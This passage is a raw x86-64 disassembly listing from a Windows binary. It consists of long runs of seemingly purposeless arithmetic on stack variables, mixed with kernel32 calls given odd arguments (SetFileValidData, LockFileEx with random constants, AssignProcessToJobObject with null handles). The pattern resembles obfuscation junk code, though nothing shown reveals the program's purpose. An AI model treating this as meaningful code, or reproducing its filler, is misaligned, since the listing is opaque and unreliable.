mov word [rsp + 0x3164], ax
mov rax, qword [rsp + 0x15090]
mov ecx, dword [rsp + 0xb29c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15290]
mov dword [rcx], eax
mov edx, 0x1ff9c7
mov rcx, qword [rsp + 0x146b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xabe0], eax
mov rax, qword [rsp + 0x14ec8]
mov ecx, dword [rsp + 0xa3bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9664], eax
lea rax, [rsp + 0xb1cc]
mov qword [rsp + 0x15688], rax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x14e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14028ec50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [rsp + 0x704]
sub eax, ecx
mov byte [rsp + 0x653], al
mov rax, qword [rsp + 0x14a00]
movzx eax, word [rax]
mov word [rsp + 0x3168], ax
movsx eax, byte [0x140281dc3]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a4], al
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2fd4]
add eax, ecx
mov rcx, qword [rsp + 0x14ce0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [0x14028ee70]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x96bc], eax
mov eax, dword [rsp + 0xa5f8]
movzx ecx, al
mov eax, dword [rsp + 0x7958]
shl eax, cl
mov dword [rsp + 0xa5f0], eax
movzx eax, byte [rsp + 0x5cb]
mov byte [rsp + 0x79d], al
movzx eax, word [rsp + 0x2f08]
movzx ecx, word [0x14028290c]
or eax, ecx
mov word [rsp + 0x2574], ax
mov eax, dword [rsp + 0xa8c4]
mov rcx, qword [rsp + 0x14f18]
mov qword [rsp + 0x15690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15690]
mov eax, dword [rax]
shr eax, cl
mov dword [0x140282980], eax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov dword [rsp + 0xb2a4], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa460]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae74], eax
mov eax, dword [rsp + 0xadc8]
mov ecx, dword [rsp + 0x976c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
movzx eax, byte [rsp + 0x275]
movzx ecx, byte [rsp + 0x700]
add eax, ecx
mov byte [rsp + 0x187], al
movzx eax, word [0x140282698]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov dword [rsp + 0xb2a8], eax
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [rsp + 0xa5a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b48], eax
mov rax, qword [rsp + 0x14f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf70], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaafc]
sub ecx, eax
mov eax, ecx
mov dword [0x1402828e4], eax
lea rax, [rsp + 0x6984]
mov qword [rsp + 0x15698], rax
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cbc], ax
movzx eax, byte [rsp + 0x723]
mov byte [rsp + 0x79e], al
movzx eax, byte [rsp + 0x665]
movzx ecx, byte [rsp + 0x704]
sub eax, ecx
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x2f34]
movzx ecx, word [rsp + 0x2958]
shl eax, cl
mov word [rsp + 0x2cc4], ax
mov eax, dword [rsp + 0x7f44]
mov rcx, qword [rsp + 0x151a8]
mov qword [rsp + 0x156a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8f3c], eax
mov rax, qword [rsp + 0x14ab8]
mov ecx, dword [rsp + 0xa91c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x74fc], eax
mov edx, 0x1410
mov rcx, qword [rsp + 0x14230]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xae08], eax
movzx eax, byte [rsp + 0x4d6]
mov byte [rsp + 0x79f], al
mov rax, qword [rsp + 0x154e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402827e4], ax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x77e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c08], eax
mov rax, qword [rsp + 0x14e18]
mov eax, dword [rax]
mov dword [rsp + 0xb2ac], eax
mov rax, qword [rsp + 0x14e90]
mov rcx, qword [rsp + 0x155f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x810c], eax
mov rax, qword [rsp + 0x14f18]
mov rcx, qword [rsp + 0x148c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa3c], eax
movzx eax, word [rsp + 0x30ac]
mov word [rsp + 0x316c], ax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e9f]
add eax, ecx
mov byte [rsp + 0x698], al
mov rax, qword [rsp + 0x155a0]
mov ecx, dword [rsp + 0xab64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x989c], eax
mov rax, qword [rsp + 0x14e30]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f40], eax
mov rax, qword [0x14028eb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281ec2], al
mov rax, qword [rsp + 0x14360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2104]
add eax, ecx
mov word [rsp + 0x2c40], ax
mov rax, qword [0x14028eb30]
movzx eax, byte [rax]
mov byte [rsp + 0x7a0], al
movzx eax, word [rsp + 0x2f64]
mov rcx, qword [rsp + 0x153e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b48], ax
mov eax, dword [rsp + 0x86c4]
mov dword [rsp + 0xb2b0], eax
mov eax, dword [rsp + 0xa5a4]
mov ecx, dword [rsp + 0x85f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac78], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9260]
shl eax, cl
mov dword [rsp + 0xa888], eax
mov rax, qword [rsp + 0x15548]
mov rcx, qword [rsp + 0x15448]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7ba8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb2b4], eax
mov eax, dword [rsp + 0xacd8]
mov ecx, dword [rsp + 0xaa74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa678], eax
movzx ecx, word [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
mov word [rsp + 0x3170], ax
lea rax, [rsp + 0x68d]
mov qword [0x14028ead0], rax
mov eax, dword [rsp + 0xb018]
movzx ecx, al
mov eax, dword [rsp + 0xb07c]
shr eax, cl
mov dword [rsp + 0xab84], eax
mov rax, qword [rsp + 0x149c0]
mov ecx, dword [rsp + 0xa7c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaeb4], eax
mov eax, dword [rsp + 0xaa98]
mov dword [rsp + 0xb2b8], eax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x8df4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x89b8], eax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63d]
add eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
movzx ecx, word [0x140282740]
sub eax, ecx
mov word [rsp + 0x220c], ax
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa3ec], eax
movzx eax, word [rsp + 0x1598]
mov word [rsp + 0x3174], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x56c]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72c], al
mov eax, dword [rsp + 0xaed4]
mov ecx, dword [rsp + 0x899c]
sub ecx, eax
mov eax, ecx
mov dword [0x140282778], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb05c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa768], eax
movzx eax, word [rsp + 0x2c90]
mov word [rsp + 0x3178], ax
mov rax, qword [rsp + 0x15578]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cc]
sub eax, ecx
mov byte [rsp + 0x37a], al
mov eax, dword [rsp + 0xae20]
mov ecx, dword [rsp + 0x9930]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x943c], eax
mov rax, qword [rsp + 0x14d50]
mov rcx, qword [0x14028eda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa67c], eax
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa918]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d4], eax
mov eax, dword [rsp + 0x9774]
mov dword [rsp + 0xb2bc], eax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x15a8]
xor eax, ecx
mov word [rsp + 0x2dac], ax
movzx eax, byte [rsp + 0x6c1]
movzx ecx, byte [rsp + 0x743]
shl eax, cl
mov byte [0x14028ecf4], al
mov eax, dword [rsp + 0xa8f0]
mov dword [rsp + 0xb2c0], eax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3c8]
sar eax, cl
mov dword [rsp + 0xa9e0], eax
mov rax, qword [rsp + 0x145d8]
mov ecx, dword [rsp + 0x9cb4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa38], eax
mov eax, dword [rsp + 0xa3b4]
mov dword [rsp + 0xb2c4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14ca8]
mov rcx, qword [0x14028ebc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb180], eax
mov dword [rsp + 0x24d70], 0x114
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x15510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30a4]
sub eax, ecx
mov word [rsp + 0x2ee8], ax
mov rax, qword [0x14028ead0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d6]
add eax, ecx
mov byte [rsp + 0x793], al
movzx eax, word [rsp + 0x2b9c]
mov word [0x14028eac8], ax
mov eax, dword [rsp + 0xab40]
mov dword [rsp + 0xb2c8], eax
mov rax, qword [rsp + 0x14ea8]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a04], eax
movzx eax, byte [rsp + 0x68e]
mov byte [rsp + 0x7a1], al
mov rax, qword [rsp + 0x154e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14758]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e50], eax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa978]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa88c], eax
mov eax, dword [0x14028ec68]
mov ecx, dword [rsp + 0xa898]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xac48], eax
mov eax, dword [rsp + 0xa400]
mov dword [rsp + 0xb2cc], eax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
sar eax, cl
mov byte [0x140281dba], al
mov rax, qword [rsp + 0x15610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1330]
shl eax, cl
mov word [rsp + 0x2b90], ax
mov eax, dword [rsp + 0x6d80]
mov dword [rsp + 0xb2d0], eax
mov eax, dword [rsp + 0xabe8]
mov ecx, dword [rsp + 0xacd8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xab5c], eax
movsx eax, byte [rsp + 0x767]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6da], al
mov rax, qword [rsp + 0x14fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c78]
and eax, ecx
mov word [rsp + 0x1ae4], ax
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0x14d40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b20], ax
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab1c], eax
mov rax, qword [rsp + 0x154d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7a2], al
mov rax, qword [rsp + 0x14f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb2c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7800], eax
lea rax, [rsp + 0xae88]
mov qword [0x14028eac0], rax
mov rax, qword [rsp + 0x14f60]
mov rcx, qword [rsp + 0x14f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15118]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb038]
mov dword [rsp + 0xb2d4], eax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa43c], eax
mov rax, qword [0x14028ebb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x640]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0x15288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ce8], ax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov dword [rsp + 0xb2d8], eax
mov rax, qword [rsp + 0x14df0]
mov rcx, qword [rsp + 0x147d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
mov eax, dword [rsp + 0xafc8]
mov ecx, dword [rsp + 0xa9e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac18], eax
mov rax, qword [rsp + 0x14e08]
mov rcx, qword [rsp + 0x14c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402826c0], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x317c], ax
movzx eax, byte [rsp + 0x411]
movzx ecx, byte [rsp + 0x758]
xor eax, ecx
mov byte [rsp + 0x71e], al
movsx eax, word [rsp + 0x2e4c]
movsx ecx, word [rsp + 0x2df0]
sar eax, cl
mov word [rsp + 0x1944], ax
movsx eax, byte [rsp + 0x35f]
movsx ecx, byte [rsp + 0x66f]
shl eax, cl
mov byte [rsp + 0x2fb], al
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf78], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
mov dword [rsp + 0xb2dc], eax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15328]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2fa0], ax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
mov byte [rsp + 0x7a3], al
lea rax, [rsp + 0xb288]
mov qword [0x14028eab8], rax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb170]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4b8], eax
mov eax, dword [rsp + 0xa7fc]
mov ecx, dword [rsp + 0xa35c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa304], eax
mov rax, qword [rsp + 0x15210]
mov eax, dword [rax]
mov dword [rsp + 0xb2e0], eax
movzx eax, word [rsp + 0x2f34]
movzx ecx, word [rsp + 0x21fc]
sub eax, ecx
mov word [rsp + 0x2cf4], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c2], al
mov eax, dword [rsp + 0xb1d4]
mov ecx, dword [rsp + 0xa704]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15580]
mov ecx, dword [rsp + 0xa734]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [0x14028ece0]
mov eax, dword [rax]
mov dword [rsp + 0xb2e4], eax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0xaa20]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282984], eax
mov rax, qword [rsp + 0x15580]
mov rcx, qword [0x14028eb48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6c4], eax
lea rax, [rsp + 0x30c0]
mov qword [rsp + 0x156a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x70c]
add eax, ecx
mov byte [rsp + 0x35f], al
movzx eax, byte [rsp + 0x73f]
mov byte [rsp + 0x7a4], al
movzx eax, word [0x140282698]
mov rcx, qword [rsp + 0x148a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c7c], ax
mov rax, qword [rsp + 0x151e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14930]
mov qword [rsp + 0x156b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa46c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xb2e8], eax
mov eax, dword [rsp + 0xaa68]
movzx ecx, al
mov eax, dword [rsp + 0x87e4]
shl eax, cl
mov dword [rsp + 0x93f0], eax
movzx eax, byte [rsp + 0x732]
movzx ecx, byte [rsp + 0x590]
xor eax, ecx
mov byte [rsp + 0x5bc], al
movzx eax, word [rsp + 0x2c00]
movzx ecx, word [rsp + 0x157c]
and eax, ecx
mov word [0x14028eb42], ax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov dword [rsp + 0xb2ec], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [rsp + 0x14de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad24], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3728
mov r9d, 0x3ed7
mov r8d, 0xc899adf3
mov edx, 1
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa3ec], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x14508]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb2f0], eax
mov rax, qword [rsp + 0x149a0]
mov rcx, qword [rsp + 0x147c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb104], eax
mov eax, dword [0x14028ec38]
mov dword [rsp + 0xb2f4], eax
movzx eax, byte [rsp + 0x758]
movzx ecx, byte [rsp + 0x749]
and eax, ecx
mov byte [rsp + 0xa3], al
movzx eax, word [rsp + 0x3068]
movzx ecx, word [rsp + 0x2e6c]
add eax, ecx
mov word [rsp + 0x1d60], ax
mov rax, qword [rsp + 0x15438]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6608], eax
mov rax, qword [rsp + 0x14d90]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2e78]
mov rcx, qword [rsp + 0x15668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14028ee40], ax
mov edx, 0x65c0c2
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa96c], eax
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x7a5], al
movzx ecx, word [rsp + 0x3138]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3180], ax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fc8]
sub eax, ecx
mov word [rsp + 0x2f4c], ax
movzx eax, byte [rsp + 0x6bd]
mov byte [rsp + 0x7a6], al
mov eax, dword [rsp + 0x9374]
movzx ecx, al
mov eax, dword [rsp + 0x86e0]
shr eax, cl
mov dword [rsp + 0x8df4], eax
mov eax, dword [rsp + 0x88b8]
mov ecx, dword [rsp + 0x8920]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6680], eax
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7d08]
shl eax, cl
mov dword [rsp + 0xa764], eax
mov rax, qword [rsp + 0x14f00]
mov ecx, dword [rsp + 0x8cec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa2b0], eax
lea rax, [rsp + 0xa478]
mov qword [rsp + 0x156b8], rax
mov rax, qword [rsp + 0x154b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x152c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x640]
mov rcx, qword [rsp + 0x14900]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281ec3], al
lea rax, [0x1402828c0]
mov qword [rsp + 0x156c0], rax
mov rax, qword [rsp + 0x15528]
mov rcx, qword [rsp + 0x147a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x15098]
mov ecx, dword [rsp + 0xa840]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb1dc], eax
mov rax, qword [rsp + 0x14f80]
mov eax, dword [rax]
mov dword [rsp + 0xb2f8], eax
movzx eax, word [rsp + 0x2c70]
mov rcx, qword [rsp + 0x15288]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov byte [rsp + 0x7a7], al
movsx eax, word [rsp + 0x314c]
movsx ecx, word [rsp + 0x14f4]
and eax, ecx
mov word [rsp + 0x2e4c], ax
mov rax, qword [rsp + 0x15430]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x795]
add eax, ecx
mov byte [rsp + 0x621], al
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov dword [0x14028eab0], eax
mov rax, qword [0x14028eb98]
mov eax, dword [rax]
mov dword [rsp + 0xb2fc], eax
movzx eax, word [rsp + 0x2510]
mov rcx, qword [rsp + 0x14bf8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14770]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ee]
mov rcx, qword [rsp + 0x15190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d4], eax
mov rax, qword [rsp + 0x15238]
mov ecx, dword [rsp + 0xa7f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6690], eax
mov eax, dword [rsp + 0xa544]
mov dword [rsp + 0xb300], eax
mov rax, qword [rsp + 0x15548]
mov rcx, qword [rsp + 0x14ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14c30]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x398]
mov byte [rsp + 0x7a8], al
movzx eax, word [rsp + 0x13f8]
movzx ecx, word [rsp + 0x303c]
sar eax, cl
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x97b0]
mov rcx, qword [rsp + 0x154b0]
mov qword [rsp + 0x156c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb050]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f0], eax
mov eax, dword [rsp + 0x6ae4]
mov ecx, dword [rsp + 0x6b44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15448]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b98], eax
mov eax, dword [rsp + 0xabcc]
mov dword [rsp + 0xb304], eax
lea rdx, [rsp + 0xa5fc]
mov rcx, qword [rsp + 0x14a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xacc8], eax
movsx eax, word [0x1402827d0]
mov rcx, qword [rsp + 0x153a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14eb0]
mov word [rcx], ax
lea rax, [rsp + 0x695]
mov qword [rsp + 0x156d0], rax
movzx eax, byte [rsp + 0x325]
movzx ecx, byte [rsp + 0x79a]
sub eax, ecx
mov byte [rsp + 0x792], al
movzx eax, word [rsp + 0x1450]
movzx ecx, word [rsp + 0x30f8]
sub eax, ecx
mov word [0x14028eba4], ax
mov rax, qword [rsp + 0x155e0]
mov ecx, dword [rsp + 0xa3e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaf7c], eax
mov eax, dword [rsp + 0x86e4]
mov dword [rsp + 0xb308], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d6c], ax
movzx eax, byte [rsp + 0x6c5]
movzx ecx, byte [rsp + 0x70d]
sub eax, ecx
mov byte [rsp + 0x3f9], al
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x156b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x76d8], eax
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [rsp + 0x9794]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb09c], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xb30c], eax
mov eax, dword [rsp + 0xae6c]
mov ecx, dword [0x14028eb70]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ab8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x707]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140281eca], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x3184], ax
mov eax, dword [rsp + 0x6fd0]
movzx ecx, al
mov eax, dword [rsp + 0x7800]
shr eax, cl
mov dword [rsp + 0xaaa4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa69c], eax
mov rax, qword [rsp + 0x145d0]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb208], eax
mov rax, qword [rsp + 0x15430]
movsx eax, byte [rax]
movsx ecx, byte [0x14028ed4e]
sub eax, ecx
